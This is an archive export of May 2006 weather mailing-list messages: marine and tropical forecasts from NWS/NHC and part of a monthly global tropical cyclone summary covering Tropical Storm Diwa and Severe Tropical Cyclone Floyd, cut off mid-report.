+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe from WX-TROPL send e-mail to LISTSERV@PO.UIUC.EDU with ""unsub wx-tropl"" in the body of your message. For help with WX-TROPL write to chris@lib.siu.edu or see http://wxlist.5280tech.com. For more information on tropical weather products, see the NHC Homepage at http://www.nhc.noaa.gov. ",0,1 LDM Weather ,WX-ATLAN@listserv.uiuc.edu,"Sat, 20 May 2006 17:14:20 -0500",SEAFCST: High Seas Forecast (Automatic),"410 FZNT01 KWBC 202214 HSFAT1 CCODE/1:31:04:01:00/AOW/NWS/CCODE HIGH SEAS FORECAST FOR METAREA IV NATIONAL WEATHER SERVICE WASHINGTON DC/TPC MIAMI FL OCEAN PREDICTION CENTER/OFB 2230 UTC MAY 20 2006 SUPERSEDED BY NEXT ISSUANCE IN 6 HOURS SECURITE NORTH ATLANTIC NORTH OF 31N TO 67N AND WEST OF 35W. SYNOPSIS VALID 1800 UTC MAY 20. 24 HOUR FORECAST VALID 1800 UTC MAY 21. 48 HOUR FORECAST VALID 1800 UTC MAY 22. WARNINGS. ...GALE WARNING... .AREA OF NW WINDS 25 TO 35 KT SEAS 10 TO 17 FT FROM 37N TO 55N AND E OF 40W. .12 HOUR FORECAST CONDITIONS SHIFT E OF AREA. ...GALE WARNING... .LOW 49N 73W 990 MB INLAND MOVING N 10 KT. WINDS 25 TO 35 KT SEAS 9 TO 11 FT WITHIN 240 NM NM E OF A FRONT SECTION FROM 48N 65W TO 45N 60W TO 43N 60W. .12 HOUR FORECAST LOW WELL INLAND. FORECAST AREA OF WINDS 20 TO 30 KT SEAS 8 TO 10 FT FROM 42N TO 50N BETWEEN 50W AND 60W OVER FORECAST WATERS. .24 HOUR FORECAST LOW CONDITIONS ABSORBED BY FORECAST LOW 45N 58W. ...GALE WARNING... .24 HOUR FORECAST 45N 58W 1000 MB. FORECAST WINDS 25 TO 35 KT SEAS 8 TO 12 WITHIN 480 NM NE QUADRANT. .48 HOUR FORECAST LOW AND CONDITIONS ABSORBED FORECAST LOW 46N 58W 992 MB. ...GALE WARNING... .36 HOUR FORECAST LOW 43N 66W 1000 MB. FORECAST WINDS 25 TO 35 KT SEAS 8 TO 12 FT WITHIN 300 NM S AND SE QUADRANTS. .48 HOUR FORECAST LOW 46N 58W 992 MB. FORECAST WINDS 25 TO 35 KT SEAS 9 TO 14 FT WITHIN 360 NM S AND SE SEMICIRCLES. .SYNOPSIS AND FORECAST. .AREA OF PATCHY DENSE FOG OCCASIONALLY REDUCING VISIBILITY BELOW 1 NM FROM 43N TO 48N BETWEEN 54W AND 60W. .24 HOUR FORECAST AREA OF PATCHY DENSE FOG OCCASIONALLY REDUCING VISIBILITY BELOW 1 NM FROM 41N TO 48N BETWEEN 47W AND 55W. .48 HOUR FORECAST AREA OF PATCHY DENSE FOG OCCASIONALLY REDUCING VISIBILITY BELOW 1 NM FROM 43N TO 52N BETWEEN 45W AND 54W. .HIGH 51N 46W 1026 MB MOVING SE 15 KT WILL SLOW AND TURN MORE E IN 12 HOURS. .24 HOUR FORECAST HIGH 49N 41W 1025 MB. .48 HOUR FORECAST HIGH E OF AREA. .HIGH 32N 36W 1030 MB WILL DRIFT SW. .24 HOUR FORECAST HIGH 31N 39W 1025 MB. .48 HOUR FORECAST HIGH S OF AREA. .36 HOUR FORECAST HIGH 48N 34W 1023 MB. .48 HOUR FORECAST HIGH E OF AREA. .FORECASTER MCRANDAL. OCEAN FORECAST BRANCH. ATLANTIC FROM 7N TO 31N W OF 35W INCLUDING CARIBBEAN SEA AND GULF OF MEXICO SYNOPSIS VALID 1800 UTC SAT MAY 20 24 HOUR FORECAST VALID 1800 UTC SUN MAY 21 48 HOUR FORECAST VALID 1800 UTC MON MAY 22 .WARNINGS. ...CARIBBEAN VOLCANIC ASH WARNING... .N OF 13N E OF 68W WIDESPREAD VSBY BELOW 3 NM IN VOLCANIC ASH FROM ERUPTION OF SOUFRIERE HILLS VOLCANO ON MONTSERRAT 16.7N 62.2W. ASH CLOUD MOVING SW AT 20 TO 40 KT. REDUCED VISIBILITIES FROM ASH COULD SIGNIFICANTLY IMPACT MARINE OPERATIONS. .12 HOUR FORECAST CONDITIONS IMPROVE. .SYNOPSIS AND FORECAST. .ATLC S OF LINE 23N35W TO 16N50W NE WINDS 20 KT SEAS TO 8 FT. .24 HOUR FORECAST S OF 23N E OF 55W NE TO E WINDS 20 KT SEAS TO 8 FT. .48 HOUR FORECAST S OF 23N E OF 50W AND S OF 17N W OF 50W NE TO E WINDS TO 20 KT SEAS TO 8 FT. .CARIBBEAN S OF 15N BETWEEN 65W AND 75W E TO SE WINDS 20 KT SEAS TO 8 FT. .18 HOUR FORECAST FROM 11N TO 16N BETWEEN 65W AND 78W NE TO E WINDS 20 TO 25 KT SEAS TO 9 FT. .24 HOUR FORECAST LITTLE CHANGE. .48 HOUR FORECAST FROM 11N TO 15N BETWEEN 65W AND 80W NE TO E WINDS 20 TO 25 KT SEAS 8 TO 10 FT. ELSEWHERE S OF 17N E OF 81W E WINDS TO 20 KT SEAS TO 8 FT. .REMAINDER OF AREA WINDS LESS THAN 20 KT SEAS LESS THAN 8 FT. $$ FORECASTER FETWN TROPICAL ANALYSIS AND FORECAST BRANCH TROPICAL PREDICTION CENTER +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe, e-mail LISTSERV@UIUC.EDU with ""unsub wx-atlan"" in the body of the message or e-mail chris@lib.siu.edu for help. Products are also available directly from NHC via e-mail. See: http://www.nhc.noaa.gov/signup.shtml for available products and sign-up. ",0,1 SIU Weather Processor ,WX-TROPL@listserv.uiuc.edu,"Sat, 20 May 2006 17:48:49 -0500",Pacific-EN: Tropical Weather Outlook,"ABPZ20 KNHC 202248 TWOEP TROPICAL WEATHER OUTLOOK NWS TPC/NATIONAL HURRICANE CENTER MIAMI FL 400 PM PDT SAT MAY 20 2006 FOR THE EASTERN NORTH PACIFIC...EAST OF 140 DEGREES WEST LONGITUDE.. TROPICAL STORM FORMATION IS NOT EXPECTED THROUGH SUNDAY. FORECASTER KNABB $$ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe from WX-TROPL send e-mail to LISTSERV@PO.UIUC.EDU with ""unsub wx-tropl"" in the body of your message. For help with WX-TROPL write to chris@lib.siu.edu or see http://wxlist.5280tech.com. For more information on tropical weather products, see the NHC Homepage at http://www.nhc.noaa.gov. ",0,1 SIU Weather Processor ,WX-ATLAN@listserv.uiuc.edu,"Sat, 20 May 2006 19:06:49 -0500",TROPDISC: Tropical Weather Discussion,"896 AXNT20 KNHC 210006 TWDAT TROPICAL WEATHER DISCUSSION NWS TPC/NATIONAL HURRICANE CENTER MIAMI FL 805 PM EDT SAT MAY 20 2006 TROPICAL WEATHER DISCUSSION FOR NORTH AMERICA...CENTRAL AMERICA...THE GULF OF MEXICO...THE CARIBBEAN SEA...NORTHEASTERN SECTIONS OF SOUTH AMERICA...AND THE ATLANTIC OCEAN TO THE AFRICAN COAST FROM THE EQUATOR TO 32N. THE FOLLOWING INFORMATION IS BASED ON SATELLITE IMAGERY...WEATHER OBSERVATIONS...RADAR... AND METEOROLOGICAL ANALYSIS. BASED ON 1800 UTC SURFACE ANALYSIS AND SATELLITE IMAGERY THROUGH 2345 UTC. ..TROPICAL WAVES... TROPICAL WAVE IS ALONG 24W S OF 8N MOVING W 15 KT. THIS WAVE CONTINUES TO BE EMBEDDED WITHIN THE ITCZ AXIS...AND ANY CYCLONIC CIRCULATION ASSOCIATED WITH THIS WAVE IS RATHER BROAD BUT LESS DISCERNIBLE THAN VISIBLE EARLIER DURING THE DAY...AND SHOULD BECOME LESS DEFINED AS IT MOVES WESTWARD UNDER A STRONG ATLC RIDGE PRODUCING STRONG SUBSIDENCE AND A DRY ENVIRONMENT NEAR THE NORTHERN EXTENSION OF THE WAVE. TROPICAL WAVE IS ALONG 49W S OF 9N MOVING W 15-20 KT. THIS WAVE CONTINUES TO EXHIBIT AN INVERTED V-PATTERN EMBEDDED WITHIN THE ITCZ ALONG WITH SCATTERED MODERATE/ISOLATED STRONG WITHIN 180 NM W OF THE WAVE AXIS FROM 5N-6N. WIDELY SCATTERED SHOWERS AND ISOLATED THUNDERSTORMS ARE ELSEWHERE WITHIN 60 NM OF THE WAVE AXIS 4N-9N. AS STATED IN THE PREVIOUS DISCUSSION...STILL LITTLE IMPACT IS EXPECTED IN THE CARIBBEAN FROM THIS WAVE OVER THE NEXT 3-5 DAYS AS THE MAJORITY OF THE MOISTURE AND CONVECTION WITH THIS SYSTEM IS EXPECTED TO MOVE INTO SOUTH AMERICA. TROPICAL WAVE PREVIOUSLY ALONG 81W/82W S OF 11N IS RELOCATED TO ALONG 84W/85W S OF 14N MOVING W 10-15 KT BASED ON UPDATED SURFACE AND STREAMLINE ANALYSES FROM 1800 UTC. SOME ENHANCEMENT OF SCATTERED MODERATE TO STRONG CONVECTION IS SEEN OVER NICARAGUA AND SOUTHERN HONDURAS. STRONG UPPER LEVEL SW WINDS ACROSS THE NORTHERN PART OF THE WAVE ARE IMPINGING ON THE CONVECTION AT THIS TIME. WAVE IS NOT EXPECTED TO BECOME ANY BETTER DEFINED OVER THE NEXT 2 DAYS AS MOVES FURTHER WEST INTO THE EASTERN PACIFIC. ..ITCZ... ITCZ AXIS IS CENTERED ALONG 10N14W 4N25W 2N31W 2N38W 3N45W TO INLAND SOUTH AMERICA NEAR 4N52W. SCATTERED STRONG CONVECTION EXISTS FROM 1N-4N BETWEEN 44W-47W...AND ALSO WITHIN 30 NM OF THE AXIS BETWEEN 31-33W. SCATTERED MODERATE/ISOLATED STRONG CONVECTION IS WITHIN 30 NM OF THE AXIS BETWEEN 22W-24W. ..DISCUSSION... GULF OF MEXICO... HIGH PRESSURE CONTINUES TO BE THE DOMINANT WEATHER FEATURE HERE AS A 1019 MB HIGH CENTER IS ANALYZED NEAR 27N86.5W. AS A RESULT...SKIES CONTINUE TO BE MOSTLY CLEAR WITH ONLY SCATTERED LOW CLOUDS PRESENT SOUTH OF MAINLY 26N WHERE SCATTERED TO BROKEN HIGH CLOUDS ARE ALSO NOTED. IN THE UPPER LEVELS...UPPER TROUGH IS SEEN EXTENDING FROM ACROSS NORTHERN FLORIDA SOUTHWESTWARD TO EXTREME SOUTHERN TEXAS AND NE MEXICO WHERE A NEARLY STATIONARY MID/UPPER LEVEL CYCLONIC CIRCULATION IS EVIDENT. MOSTLY STRONG SUBSIDENCE AND ASSOCIATED DRY/STABLE AIR ACCOMPANIES THE TROUGH DUE TO UPPER LEVEL CONFLUENCE ACROSS THESE AREA. CONDITIONS IN THE GULF ARE EXPECTED TO CHANGE LITTLE OVER THE NEXT FEW DAYS AS HIGH PRESSURE REMAINS IN PLACE...HOWEVER TROPICAL MOISTURE JUST SOUTH OF THE GULF ACROSS THE NW CARIBBEAN MAY PUSH FURTHER NORTH AND BEGIN TO INFLUENCE THE SOUTHERN PORTIONS OF THE GULF ON SUNDAY...AND POSSIBLE BECOME MORE WIDESPREAD OVER THE CENTRAL AND EASTERN GULF WITH TIME AS SUGGESTED BY COMPUTER MODELS. CARIBBEAN SEA AND ATLANTIC OCEAN W OF 55W... AN UPPER LEVEL TROUGH/RIDGE PATTERN REMAINS IN PLACE ACROSS THIS AREA. AT THE SURFACE...A DISSIPATING STATIONARY FRONT EXTENDS FROM 32N61W SOUTHWEST TO 27N68.5W WHERE IT BECOMES A TROUGH SOUTHWESTWARD TO THE CENTRAL BAHAMAS AND CONTINUES SOUTHWEST INTO THE W CARIBBEAN TO NEAR THE CAYMAN ISLANDS AND SOUTHWARD TO NEAR SAN ANDRES ISLAND. BROKEN TO OVERCAST MOSTLY MID/HIGH CLOUDS ALONG WITH WIDELY SCATTERED SHOWERS AND ISOLATED TSTMS ARE WITHIN 180 NM SE OF THE FRONT/TROUGH N OF 22N. WIDELY SCATTERED SHOWERS AND TSTMS ARE WITHIN 75-90 NM W OF THE TROUGH OVER THE CARIBBEAN. SCATTERED STRONG TSTMS ARE ENHANCED OVER CENTRAL AND ADJACENT WATERS. FARTHER E...MID/UPPER HIGH IS LOCATED JUST N OF HISPANIOLA NEAR 21N71W WITH RIDGING EXTENDING SW TO HONDURAS/NICARAGUA BORDER AND NE TO BEYOND 32N45W. A JET STREAM BRANCH EXTENDS FROM THE E BAY OF CAMPECHE NORTHEASTWARD THROUGH 24N84W TO ACROSS S FLORIDA AND CONTINUES NORTHEASTWARD THROUGH 27N70W TO BEYOND THE AREA NEAR 32N59W. WINDS IN THE RANGE OF 60-80 KT ARE NOTED WITHIN THIS JET MAINLY W OF 65W. STRONG MID/UPPER SUBSIDENCE IS NOTED S OF ABOUT 19N AND E OF 80W WHERE EASTERLY FLOW AT MID AND UPPER LEVELS PREVAILS. MOISTURE RELATED TO THE SURFACE TROUGH SHOULD GRADUALLY INCREASE CHANCES OF RAIN FOR THE NW CARIBBEAN INCLUDING THE YUCATAN PENINSULA AND CUBA OVER THE NEXT 2-3 DAYS AS IT ADVECTS WESTWARD. THE LARGE VOLCANIC ASH CLOUDS EARLIER DETECTED OVER THE E CARIBBEAN DUE TO AN ERUPTION OF THE MONTSERRAT VOLCANO THIS MORNING CONTINUES TO BE SEEN ON SATELLITE IMAGERY FROM 13N-17N BETWEEN 64W-69W. SMALL ISOLATED SHOWERS AND TSTMS ARE EMBEDDED WITHIN THE AS CLOUD FROM 15N-17N BETWEEN 63.5W-65W. THE REMAINDER OF ATLANTIC OCEAN... A SHARP UPPER LEVEL TROUGH IS OVER THE CNTRL ATLC WITH THE AXIS EXTENDING THRU 30N43W THROUGH AN UPPER LOW NEAR 23N47W AND INTO THE DEEP TROPICS NEAR 9N51W. THE LOW IS HELPING TO TRANSPORT UPPER MOISTURE FROM THE DEEP TROPICS NORTHEASTWARD TO S OF 26N BETWEEN 35W-42.5W. AN UPPER HIGH IS NEAR 16N30W WITH MID/UPPER LEVEL RIDGING COVERING THE AREA S OF 17N AND E OF 33W. DIFFLUENCE S OF THE RIDGE IS ENHANCING ITCZ CONVECTION. MODERATE/STRONG SUBSIDENCE NOTED FROM 7N-17N E OF 33W. UPPER TROUGH IS MOVING SE OVER EXTREME NW AFRICA. AT THE SFC...STRONG 1030 MB HIGH CENTERED NEAR 32N36W COVERS THE ENTIRE REGION SUPPLYING FAIR WEATHER ACROSS A GOOD PORTION OF THE ATLANTIC OCEAN. TRADE WINDS ARE RATHER STRONG ACROSS THE AREA AND WILL LIKELY REMAIN THAT WAY FOR THE NEXT FEW DAYS. $$ AGUIRRE +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe, e-mail LISTSERV@UIUC.EDU with ""unsub wx-atlan"" in the body of the message or e-mail chris@lib.siu.edu for help. Products are also available directly from NHC via e-mail. See: http://www.nhc.noaa.gov/signup.shtml for available products and sign-up. ",0,1 Gary Padgett ,WX-TROPL@listserv.uiuc.edu,"Sat, 20 May 2006 19:06:52 -0500",SUMMARY: March TC Summary - Part 1,"MONTHLY GLOBAL TROPICAL CYCLONE SUMMARY MARCH, 2006 First Installment (For general comments about the nature of these summaries, as well as information on how to download the tabular cyclone track files, see the Author's Note at the end of this summary.) SPECIAL NOTE: The March summary is being issued in two installments. The first covers the Southwest Indian Ocean and Northwest Australia/ Southeast Indian Ocean basins. The second installment will cover the Northwest Pacific, South Pacific and Northeast Australia/Coral Sea basins. SPECIAL NOTE #2: TPC/NHC now has all the storm reports and the track chart for the 2005 Atlantic and Eastern North Pacific seasons available online. Links to the reports and track charts may be accessed at the following URLs: Also, the Central Pacific Hurricane Center has available online their annual summary for the 2005 tropical cyclone season in that region. The link is: And finally, the Canadian Hurricane Centre has a summary available of the 2005 tropical cyclones which entered their Response Zone. This summary may be accessed at: ************************************************************************* MARCH HIGHLIGHTS --> Two severe tropical cyclones form off Western Australia--one makes landfall --> Very destructive tropical cyclone strikes Queensland --> Another severe tropical cyclone in Coral Sea recurves away from Australia ************************************************************************* ********** EXTRA FEATURE ********** WESTERN HEMISPHERE TROPICAL CYCLONE NAMES for 2006 Tropical cyclones in the Atlantic Ocean, Gulf of Mexico, and Caribbean Sea are assigned names by the Tropical Prediction Center/ National Hurricane Center in Miami, Florida. A separate alphabetical set of alternating male/female names is used each year with the name of the first tropical storm beginning with the letter ""A"". Names are repeated every six years. The names of hurricanes which cause a lot of damage and/or fatalities are usually retired from the list with another name of the same alphabetical rank and gender replacing it. Following the 2005 season, the names Dennis, Katrina, Rita, Stan and Wilma were retired and have been replaced in the list for 2011 with Don, Katia, Rina, Sean and Whitney, respectively. It seemed likely that Emily also would have been retired, but Mexico did not request it, so Emily remains in the list for 2011. The highest number of tropical storms named in one season in the Atlantic was 27 during the incredibly active 2005 season, which has become the most active Atlantic tropical cyclone season on record. Other very active seasons include 1887 (19 storms), 1933 (21 storms), 1969 (18 storms) and 1995 (19 storms). The list of names for 2006 is the same one used during the active hurricane season of 2000 when fourteen tropical cyclones were named, down through Nadine. The only name retired after the 2000 season was Keith, and that name has been replaced with Kirk in the 2006 list. TPC/NHC also has warning responsibility for the Eastern North Pacific Ocean from the west coast of Mexico out to longitude 140W. Six separate alphabetical sets of names are used for this basin in the same manner as in the Atlantic. Initially, the Eastern Pacific name sets contained only 21 names, omitting ""Q"" and ""U"" and ending with the letter ""W"", as in the Atlantic. When the active 1985 season threatened to exhaust the list, the names Xina, York and Zelda were drafted to accommodate any additional storms which might develop. (Hurricane Xina was named in late October, 1985.) The decision was made sometime in the latter 1980s to extend the list with these three names in odd-numbered years, and to add the names Xavier, Yolanda and Zeke in even-numbered years (to preserve the alternating gender scheme). During the Northeast Pacific's year of record activity in 1992, all 24 names were allotted to tropical cyclones forming east of 140W, ending with Tropical Storm Zeke in late October. Had more storms developed, they would have been named with the letters of the Greek alphabet (Alpha, Beta, etc), which is also the backup plan for the Atlantic basin in case more than 21 tropical storms develop in a single season. The list for this year was last used in 2000 when seventeen tropical cyclones were named, the last one being Rosa. The most active season to utilize this set of names was in 1982, when 19 cyclones were named, down through Tara. The Central Pacific Hurricane Center, located in Honolulu, has tropical cyclone warning responsibility for that portion of the North Pacific Ocean lying between longitudes 140W and 180. The majority of the tropical storms and hurricanes seen in that region are visitors from east of 140W, but on the average about one tropical storm forms in the Central Pacific each year, and when this happens, the storm is given a Hawaiian name. The list consists of four sets of twelve names each, using only the letters of the Hawaiian alphabet. All the names are used--the first storm to form in a given year is assigned the next available name on the list. No tropical cyclones were named by CPHC in 2003 or in 2004. The last storm to form in Central Pacific waters was Hurricane Huko in late October, 2002, so the next name to be assigned will be Ioke. Names for 2006 are (** indicates name has already been assigned): ATLANTIC EASTERN PACIFIC CENTRAL PACIFIC Alberto Leslie Aletta Miriam Ioke Beryl Michael Bud Norman Kika Chris Nadine Carlotta Olivia Lana Debby Oscar Daniel Paul Maka Ernesto Patty Emilia Rosa Neki Florence Rafael Fabio Sergio Oleka Gordon Sandy Gilma Tara Peni Helene Tony Hector Vicente Ulia Isaac Valerie Ileana Willa Wali Joyce William John Xavier Ana Kirk Kristy Yolanda Ela Lane Zeke Halola ************************************************************************* ACTIVITY BY BASINS ATLANTIC (ATL) - North Atlantic Ocean, Caribbean Sea, Gulf of Mexico Activity for March: No tropical cyclones ************************************************************************* NORTHEAST PACIFIC (NEP) - North Pacific Ocean East of Longitude 180 Activity for March: No tropical cyclones ************************************************************************* NORTHWEST PACIFIC (NWP) - North Pacific Ocean West of Longitude 180 Activity for March: 1 tropical storm ** ** - treated as a tropical storm by JTWC only NOTE!!! The Northwest Pacific basin will be covered in the second installment of the March summary. ************************************************************************* NORTH INDIAN OCEAN (NIO) - Bay of Bengal and Arabian Sea Activity for March: No tropical cyclones ************************************************************************* SOUTHWEST INDIAN OCEAN (SWI) - South Indian Ocean West of Longitude 90E Activity for March: 1 tropical disturbance 1 tropical storm Sources of Information ---------------------- The primary sources of tracking and intensity information for Southwest Indian Ocean tropical cyclones are the warnings issued by the Tropical Cyclone Warning Centre on La Reunion Island, part of Meteo France (MFR), and the Regional Specialised Meteorological Centre for the basin. However, tropical cyclones in this region are named by the Sub-regional Tropical Cyclone Advisory Centres in Mauritius and Madagascar with longitude 55E being the demarcation line between their respective areas of naming responsibility. The La Reunion centre only advises these agencies regarding the intensity of tropical systems. References to sustained winds imply a 10-minute averaging period unless otherwise stated. In the companion tropical cyclone tracks file, I occasionally annotate positions from warnings issued by the Joint Typhoon Warning Center (JTWC) of the U. S. Air Force and Navy, located at Pearl Harbor, Hawaii, when they differ from MFR's coordinates by usually 40-50 nm or more. The JTWC warnings are also the source of the 1-minute average maximum sustained wind values included in the tracks file. Additionally, information describing details of satellite imagery and atmospheric circulation features included in the narratives is often gleaned from the JTWC warnings. Southwest Indian Ocean Tropical Activity for March -------------------------------------------------- Three tropical systems were in warning status during the month of March in the Southwest Indian Ocean basin, all during the first part of the month. Intense Tropical Cyclone Carina was near its peak intensity over the east-central portion of the basin on 1 March, but encountered a hostile environment which led to its very rapid weakening and dissipation by 3 March. The report on Carina may be found in the February summary. Severe Tropical Storm Diwa operated from the 2nd until the 10th over the western portion of the basin, passing southward between the Mascarene Islands (Reunion and Mauritius) and Madagascar. Diwa originated as a large, sloppily-organized monsoon depression which gradually acquired tropical storm characteristics. A report on Diwa follows. Meteo France on La Reunion (MFR) issued two warnings on another system, numbered as Tropical Disturbance 12. At 0600 UTC on 4 March this disturbance was centered approximately 200 north-northeast of Tromelin Island, or about 335 nm due north of the center of Tropical Storm Diwa. Peak 10-min avg winds were estimated at 25 kts, locally reaching 30 kts in squalls. The system moved rapidly southeastward around the north- eastern periphery of Diwa, and the second and final MFR warning at 1200 UTC placed the center of the disturbance about 190 nm east of Tromelin and about 240 nm northeast of Diwa's center. No more warnings were issued, and due to the large size of the circulation around Diwa, it is assumed that the weak Tropical Disturbance 12 was absorbed into the circulation of the tropical storm. A graphic depicting the track of Tropical Disturbance 12 and Tropical Storm Diwa may be found at the following link: TROPICAL STORM DIWA (MFR-11 / TC-16S) 2 - 10 March --------------------------------------- Diwa: contributed by Malawi A. Introduction and Storm Origins --------------------------------- Tropical Storm Diwa was a large, odd tropical storm which occupied the first week of March moving slowly southward through the Southwest Indian Ocean between Madagascar and the Mascarene Islands. Diwa was in its early stages actually a monsoon depression which developed gales along its periphery. In the author's opinion, the Meteorological Service of Mauritius is to be commended for assigning a name and treating the system as a tropical storm when it was apparent it was intensifying and becoming an increasing threat. Another unusual feature of Tropical Storm Diwa was that it achieved its peak intensity and most tropical-like structure after moving into subtropical latitudes--something rarely seen in the Southwest Indian basin. MFR issued their first warning on the pre-Diwa system at 0600 UTC on 2 March, calling it simply a ""zone of disturbed weather"" located about 175 nm southeast of the island of Agalega. Around the same time JTWC included the disturbance in a STWO, noting that it was a elongated LLCC embedded within the monsoon trough east of Madagascar. Convection had been increasing near the low-level disturbance, and an upper-level ridge axis to the north was helping to provide an environment of low vertical shear and favorable diffluence aloft. On their second bulletin, issued at 02/1200 UTC, MFR upgraded the area to Tropical Disturbance 11 with winds estimated at 25 kts. St. Brandon, well to the southeast, reported 10-min avg winds of 35 kts with a SLP of 1002 hPa at 02/2100 UTC. JTWC upgraded the development potential to 'fair' at 1800 UTC since convection was persisting near the LLCC. B. Synoptic History ------------------- MFR upgraded the disturbance to a 30-kt tropical depression at 0600 UTC on 3 March, and at 1200 UTC the system was upgraded to Tropical Storm Diwa, centered at the time about 125 nm west of St. Brandon. The MFR warning noted that the system had a monsoon depression structure with weak winds near the center but with gales, locally reaching 40 kts, over 100 nm from the center in the eastern semicircle under the convective bands. JTWC issued a TCFA at 03/2100 UTC and the first warning on TC-16S followed at 04/0000 UTC. In its formative stages Diwa had moved basically to the south, but by now was moving on a slow southwesterly track under the influence of ridging to the southeast. After having reached tropical storm intensity, however, the storm did not strengthen significantly during the next three days. By the 5th Diwa had turned to the south, although it made a jog to the southwest on the 6th. Tropical Storm Diwa passed about 200 nm west of Mauritius around 0900 UTC on 5 March and about 100 nm west of Reunion Island around 1500 UTC the same day. Earlier on 3 March, while Diwa's center was a little less than 200 nm northwest of Mauritius, a wind gust to 59 kts was recorded at 2130 UTC at Savannah, a location in the southeastern part of Mauritius near L'Escalier. (This observation, as well as the earlier one taken from St. Brandon, was sent by Patrick Hoareau.) After the aforementioned jog to the southwest, Diwa's motion became primarily south-southeastward ahead of an approaching baroclinic zone. The storm gradually began to strengthen--the MSW was upped to 40 kts at 06/0600 UTC and to 50 kts at 07/0000 UTC. Diwa was experiencing favorable poleward and equatorward outflow with the deepest convection located in the southeastern quadrant. Both JTWC and MFR upped their respective MSW estimates to 55 kts at 0600 UTC 8 March. Diwa by this time was tracking southeastward at 15 kts along the southwestern periphery of a mid-level ridge to the east. The tropical storm was beginning to interact with a baroclinic zone to the south, but enhanced poleward outflow was leading to an increase in convection. Based upon MFR's analysis, Severe Tropical Storm Diwa reached its peak intensity of 60 kts (10-min avg) at 08/1200 UTC while centered approximately 475 nm south-southeast of Reunion Island. MFR maintained Diwa at 60 kts for the next warning at 1800 UTC, but JTWC issued their final warning at that time, deeming extratropical transition to be well under way and estimating the intensity at only 35 kts. Six hours later MFR classified Diwa as a 55-kt extratropical storm but continued to issue warnings for the next 36 hours as ex-Diwa continued to track off into the subtropical South Indian Ocean. The final MFR warning, issued at 10/1200 UTC, placed a weakening 40-kt center a little more than 1300 nm southeast of Reunion Island. A graphic depicting the track of Severe Tropical Storm Diwa may be found at the following link: C. Damage and Casualties ------------------------ No reports of damage or casualties resulting from Tropical Storm Diwa have been received. (Report written by Gary Padgett) ************************************************************************* NORTHWEST AUSTRALIA/SOUTHEAST INDIAN OCEAN (AUW) - From 90E to 135E Activity for March: 2 tropical LOWs 2 severe tropical cyclones (hurricanes) Sources of Information ---------------------- The primary sources of tracking and intensity information for Northwest Australia/Southeast Indian Ocean tropical cyclones are the warnings and advices issued by the Tropical Cyclone Warning Centres at Perth, Western Australia, and Darwin, Northern Territory. References to sustained winds imply a 10-minute averaging period unless otherwise stated. In the companion tropical cyclone tracks file, I occasionally annotate positions from warnings issued by the Joint Typhoon Warning Center (JTWC) of the U. S. Air Force and Navy, located at Pearl Harbor, Hawaii, when they differ from the Australian centres' coor- dinates by usually 40-50 nm or more. The JTWC warnings are also the source of the 1-minute average maximum sustained wind values included in the tracks file. Additionally, information describing details of satellite imagery and atmospheric circulation features included in the narratives is often gleaned from the JTWC warnings. Northwest Australia/Southeast Indian Ocean Tropical Activity for March ------------------------------------------ After a rather quiet February in which only one minor tropical cyclone (Emma) formed, the tropical seas off northern and northwestern Australia became quite active during March. Four tropical LOWs were tracked by the Darwin and Perth TCWCs with two of these becoming the very intense cyclones Floyd and Glenda. Reports on these two severe tropical cyclones follow. A weak tropical LOW formed late on 28 February just west of the Indonesian island of Jamdena, where the Arafura and Banda Seas meet. During the first week of March this system drifted southwestward, then erratically westward, crossing the island of Timor and passing south of Sumba. By 5 March the westward motion ceased and the LOW turned toward the southeast toward the Kimberley region of Western Australia. The highest MSW estimated for this LOW was 30 kts briefly on 2 March; the remainder of the time peak winds were estimated at only 25 kts. Gale warnings were issued by Darwin and Perth in the anticipation that the LOW would strengthen into a tropical cyclone. This failed to materialize, however, and the final gale warning by BoM Perth was issued at 0400 UTC on 7 March. By 0400 UTC on 8 March the weakening LOW was inland in the Kimberley region. A graphic depicting the operational track of this tropical LOW may be found at the following link: The Perth TCWC also issued several gale warnings in late March for a tropical LOW which formed over waters southwest of Christmas Island and east of the Cocos Islands. The first warning was issued at 0300 UTC on 26 March and the system subsequently drifted pretty much due southward. The final gale warning was issued by Perth at 27/0600 UTC, but the remnant LOW continued to generate some Dvorak ratings of T2.5/2.5 by various agencies until early on the 29th. A very broad cyclonic circulation existed in the area with possible multiple LLCCs, and there were considerable differences in the center fixes from the satellite analysis agencies. Disturbed weather continued in the region for several days, and during the first week of April another LOW developed which ultimately became Tropical Storm Elia in the Southwest Indian Ocean basin. There does not appear to be, however, any direct continuity between the late March tropical LOW and the LLCC which became Elia. A graphic depicting the operational track of the late March tropical LOW may be found at the following link: SEVERE TROPICAL CYCLONE FLOYD (TC-19S) 19 - 27 March ------------------------------------------------- (Editor's Note: The following report on Severe Tropical Cyclone Floyd is based largely on a preliminary report on this storm written and sent to the author by Joe Courtney, a forecaster at the Perth TCWC. A very big thanks to Joe for sending the report.) A. Introduction --------------- Floyd was a midget tropical cyclone that reached top-end Category 4 (Australian cyclone scale) intensity before rapidly weakening under northwesterly shear. Tropical cyclone advices were issued for the western Pilbara region and for upper western coastal areas of Western Australia as Floyd approached, but the system weakened and remained offshore and did not impact coastal parts. Floyd did have an economic impact as some resource companies evacuated offshore oil and gas installations. B. Origins and Synoptic History ------------------------------- A tropical LOW developed on 18 March south of the Indonesian island of Sumba and moved to the west to southwest, gradually strengthening. The LOW is estimated to have reached cyclone intensity around 2100 UTC on 20 March while located roughly 450 nm west-northwest of Cape Leveque. The moderate easterly shear on the 21st gradually eased and Floyd developed rapidly later on the 22nd, reaching Category 3 (65 kts) intensity around 23/0000 UTC while located about 560 nm north-northwest of Exmouth. Infrared satellite imagery on the 22nd had revealed very cold cloud tops. Severe Tropical Cyclone Floyd reached its maximum intensity of 105 kts at 24/0000 UTC, centred approximately 530 nm northwest of Exmouth. The cyclone at the time was making a turn to the south due to the approach of a mid-latitude trough. The eye of the system was very small with a diameter of about 10-15 nm, and the minimum CP was estimated at 915 hPa. JTWC's peak 1-min avg MSW was 